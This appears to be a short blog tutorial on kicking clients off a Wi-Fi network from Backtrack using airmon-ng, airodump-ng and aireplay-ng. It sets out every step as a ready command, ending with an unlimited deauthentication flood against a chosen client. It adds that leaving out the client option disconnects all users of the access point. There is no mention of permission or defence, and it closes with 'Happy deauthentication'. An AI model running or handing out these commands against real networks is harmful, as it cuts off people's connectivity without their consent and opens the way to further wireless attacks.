Deauthentication of Wifi client in Backtrack

While using backtrack we can De-authenticate (remove ) a client from a wi-fi  even if we are not in that wifi network.
For this we will use 3 tools of aircrack suit namely airmon-ng , airodump-ng and aireplay-ng.

At first we will use Airmon-ng

command 1: airmon-ng start wlan0

This will enable a monitor interface over your wireless card which can monitor .

command 2: airodump-ng mon0

This will start monitoring your surroundings .

You will see that the channel is being hopped from 1 to 11 (depending on your country ).  Find the ESSID (name ) of the wifi in which you want to deauthenticate the client. Also see the channel that wifi is using to transmit .

now lets assume in my case it is channel 11

command 3:  airodump-ng mon0 --channel 11

This will set your monitor mode (mon0) in channel 11 and you will only monitor only channel 11.
here you will see the BSSID of the router and the clients mac (whom you want to deauthenticate).

command 4:aireplay-ng -0 0 -a (BSSID OF ROUTER) -c (MAC OF CLIENT) mon0

here -0 stands for deauthentication
next zero will send the unlimited packets to the client ..( you can change that value to any value you want ) 0 stands for unlimited.
-a stands for access point (router)
-c stands for client
mon0 is your monitor interface ...


if you dont specify -c option then it will will broadcast deauthentication packets which will deauthenticate all users on that access point .

============Complete=============

Happy deauthentication....